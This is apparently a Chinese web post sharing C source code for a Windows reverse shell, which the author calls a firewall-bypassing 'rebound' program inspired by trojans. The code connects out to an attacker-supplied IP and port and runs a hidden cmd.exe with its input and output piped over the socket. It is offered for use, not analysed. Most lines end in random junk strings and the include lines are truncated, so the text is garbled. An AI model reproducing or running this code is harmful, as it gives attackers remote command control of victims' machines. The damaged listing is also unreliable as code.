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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w>S;}[fM  
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/* ============================== 'vCl@x$  
Rebound port in Windows NT = j)5kY`  
By wind,2006/7 @-zL"%%dw'  
===============================*/ N_L~oX_  
#include _Fe%Ek1Yy  
#include wB'GV1|jL  
'rl?'~={p  
#pragma comment(lib,"wsock32.lib") g&&-  
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void OutputShell(); f(S9>c2  
SOCKET sClient; 94.|l  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y(mnGaVn  
x_L5NsO:  
void main(int argc,char **argv) 1egq:bh  
{ (sDZ&R  
WSADATA stWsaData; vd{ban9  
int nRet; 'Hf+Y/`  
SOCKADDR_IN stSaiClient,stSaiServer; <DR$WsDG  
12]rfd   
if(argc != 3) ]Xm+-{5?!R  
{ ExKyjWAJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); u0;k_6N  
return; Nhf@Y}Cu  
} ^ruz-N^Y!  
2y`X)  
WSAStartup(MAKEWORD(2,2),&stWsaData); MZd?cS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3le$0f:O  
GD-L0kw5  
stSaiClient.sin_family = AF_INET; '><I|c}  
stSaiClient.sin_port = htons(0); k^@dDLr"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TGDrTyI?y  
3-Bz5sj9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0?,<7}"<X  
{ >BWe"{;  
printf("Bind Socket Failed!\n"); #W9{3JGUY  
return; !-HJ%(5:F  
} "W^+NeLc  
l6T^e@*  
stSaiServer.sin_family = AF_INET; 6c6w w"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LK|1[y^h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W:VX^8</  
;:  xE'-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kxCN0e#_  
{ :@4+}  
printf("Connect Error!"); oL U!x  
return; {%Rntb  
} Cu! S|Xj.  
OutputShell(); .^xQtnq  
} laRn![[  
#EA` |  
void OutputShell() a9_KoOa.H  
{ uOAd$;h@_Z  
char szBuff[1024]; ~KYA{^`*  
SECURITY_ATTRIBUTES stSecurityAttributes; M 4E|^p=5  
OSVERSIONINFO stOsversionInfo; De ([fC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }ijFvIHV  
STARTUPINFO stStartupInfo; rL,kDSLs  
char *szShell;  )mH(Hx  
PROCESS_INFORMATION stProcessInformation; 'YB{W8bR  
unsigned long lBytesRead; |R;`  
}SFmv},Ij  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8b"vXNB.f  
':|E$@$W  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,`!>.E.  
stSecurityAttributes.lpSecurityDescriptor = 0; \E1CQP-  
stSecurityAttributes.bInheritHandle = TRUE; =F% <W7  
1* ?XI  
~^/BAc  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KBDNK_7A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &})Zqc3Lqk  
yu}T><Wst  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w~~[0e+E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q*<FfO=eQ  
stStartupInfo.wShowWindow = SW_HIDE; e$`;z%6y  
stStartupInfo.hStdInput = hReadPipe; $\#wsI(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =5O&4G`}  
:z`L)  
GetVersionEx(&stOsversionInfo); *SYuq)  
YF(bl1>YC  
switch(stOsversionInfo.dwPlatformId) 8dh ?JqX  
{ UNA!vzOb  
case 1:  _ 'K6S  
szShell = "command.com"; Y,m=&U  
break; m~tv{#Y  
default: 79uAsI2-Y  
szShell = "cmd.exe"; ~zoZ{YqP  
break; S;" $02]  
} #Cb~-2:+7  
`j4OKZ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r*c x_**  
=%S*h)}@  
send(sClient,szMsg,77,0); YRu/KUT$ 7  
while(1) VVe^s|~Z  
{ jA3xDbM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MSb0J`  
if(lBytesRead) WtlLqD!_D  
{ ^YB3$:@$U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )&[ol9+\  
send(sClient,szBuff,lBytesRead,0); r.' cjUs  
} o,qUf  
else O{Z bpa^  
{ LYuMR,7E  
lBytesRead=recv(sClient,szBuff,1024,0); _6`H `zept  
if(lBytesRead<=0) break; +.a->SZ5"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *iUR1V Y  
} ?s]?2>p  
} ;y;UgwAM  
82YZN5S3]3  
return;  n[7=  
}
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